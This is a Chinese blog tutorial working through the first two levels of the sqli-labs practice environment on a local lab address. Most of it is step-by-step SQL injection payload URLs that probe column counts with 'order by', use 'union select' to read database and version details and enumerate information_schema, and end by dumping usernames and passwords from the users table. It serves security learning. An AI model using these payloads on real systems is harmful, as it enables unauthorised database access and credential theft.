sqli-labs

本人才是萌新,看到与本内容相同的文章,纯属意外@无敌的小周,粗来解释一下吧.....略略略
—————————————————————————————————————
废话不多说了,赶紧燥起来~

为了方便学习查看,可以在源码中的$sql下一句语句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)

    echo "你的 sql 语句是:".$sql."<br>";  

Less-1 基于错误的GET单引号字符型注入

注入点测试
首先在后面加个单引号(当然你要在后面先加?id=一个数字),单引号被自动url编码了

http://192.168.11.112/sqli/Less-1/?id=1'

发现报了sql语句的语法错误,那么应该存在sql注入,因为没过滤单引号,我们就可以闭合单引号来进行注入
报错语句如下:
sql:SELECT * FROM users WHERE id='1'' LIMIT 0,1

第1步首先先查询有几个字段,使用"order by (number)"【因为后面的查询需要用到union,所以这个地方需要猜查询了多少字段】

在这之前首先需要人为的构造sql语句使之闭合,正常进行查询
这里说两种可能遇到的sql语句注释符

1. --【空格】 这里的空格一定要有。
2.#     如果是post注入提交#不用编码也行
有时候需要进行url编码具体的可以自行百度

首先需要知道字段长度为多少,我们可以使用order by 来进行猜测

http://192.168.11.112/sqli/Less-1/?id=1' order by 4 -- %20

报错


EWDED0NYVGT4B3S.png

可以知道前面查询的字段是小于4的

http://192.168.11.112/sqli/Less-1/?id=1' order by 3-- %20

![$UJ9Y{QN~Q)FI3LM89WK.png](http://upload-images.jianshu.io/upload_images/9272355-536b59ab70316983.png?imageMog现在可以知道查询的字段有3个

第2步查看目标字段在哪个位置显示
【因为sqlib中只能显示1组数据,所以我们需要将前面的主查询改为负或者改为一个较大的数,来使前面的查询为空,从而为后面构造的union查询让出地方】

http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,3 --%20
图片.png

第3步 将上面的2,3 进行替换

user()
database()
version()
@@datadir    当前数据库物理地址
@@hostname   这台主机名
@@VERSION   数据库版本
@@version_compile_os  查看操作系统

我这里查询的数据库版本信息和当前数据库

http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,database(),version() --%20
图片.png

现在可以知道数据库版本为5.5.53;当前数据库为 security。
mysql数据库information_schema,他是系统数据库,默认安装完就存在,其中记录的是当前数据库的数据库,表,列(字段),用户权限等信息,下面说一下常用的几个表

  • SCHEMA表存储mysql所有数据库的基本信息,包括数据库名,编码类型,路径等,show databases的结果取之于此。
  • TABLES表:存储mysql 中的表信息,这个表示基本表还是系统表,数据库引擎是什么,表有多少行,创建时间,最后更新时间 show tables from schemaname的结果取之于此
  • COLUMNS表:提供表中的的咧信息,详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,lieder编码类型,列的权限,列的注释等 是show columns form schemaname.tablename的结果取于此表
    接下来查询表名
http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1 --%20
图片.png

可以查询到users表,猜测里面可能有我们想要的账号以及密码
接下来继续查询表中的字段

http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,column_name from information_schema.columns where table_name='users' limit 1,1--%20
图片.png
http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,column_name from information_schema.columns where table_name='users' limit 2,1--%20
图片.png

经过测试我们可以知道有几个字段有username,password,可能就是我们想要的用户名密码
最后我们可以根据字段直接在users表中进行查询

http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,username,password from users limit 2,1 --%20
图片.png

表里面其他的数据,自行遍历

Less-2(基于错误的GET整型注入)

这里跟上面几乎一样,只是$id没用单引号引着,(因为sql语句对于数字型的数据可以不加单引号)

http://192.168.11.112/sqli/Less-2/?id=1 order by 4 --%20

可以知道前面查询的字段是小于4的

http://192.168.11.112/sqli/Less-2/?id=1 order by 3 --%20
图片.png

现在就可以知道查询的字段有3个
查看目标字段在哪个位置上面显示

http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,3 --%20
图片.png

第3步 将上面的2,3 进行替换,我这里查询的数据库版本信息和当前数据库

http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,database(),version() --%20
图片.png

接下来查询表名

http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1 --%20
图片.png

可以查询到users表,猜测里面可能有我们想要的账号以及密码
接下来继续查询我们想要的表中的字段

http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,column_name from information_schema.columns where table_name='users' limit 2,1 --%20
图片.png

经过测试我们可以知道有几个字段有username,password,可能就是我们想要的用户名密码

http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,username,password from users limit 2,1 -- %20
图片.png

Less-3(基于错误的GET单引号变形字符型注入)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,001评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,210评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,874评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,001评论 1 291
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,022评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,005评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,929评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,742评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,193评论 1 309
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,427评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,583评论 1 346
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,305评论 5 342
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,911评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,564评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,731评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,581评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,478评论 2 352

推荐阅读更多精彩内容

  • 情人节刚刚过去一个时辰! 昨天对于好多人似乎都是个不一样的日子! 无论是秀恩爱的热恋男女! 还是单身狗期待完美爱情...
    笃情阅读 318评论 0 1
  • 注意力 作者在这本书的第一章就介绍和讨论了:“注意力”这个话题。 作者为什么开篇就介绍注意力呢?我认为,这其实实际...
    7430a350ab89阅读 234评论 0 0
  • 思念 夜空孤月清风, 窗边伊人轻纱, 凝眉忧思难眠。 潸潸泪下, 魂牵梦萦心伤。
    浅浅是水阅读 209评论 0 9
  • 一付喝一天,一天喝三次。 注明打的充分捣碎。 煎药方法:开水泡半小时煮30分钟,过滤去药渣,药汤分三次服用就行。一...
    中医李奇飞阅读 203评论 0 2
  • 文/苍洱小小生 我是一粒渺小的沙 在风中挣扎 我不知道我来自何方 也不知道哪里才是我的家 一次次挣扎 却被风无情的...
    苍洱小小生阅读 286评论 0 4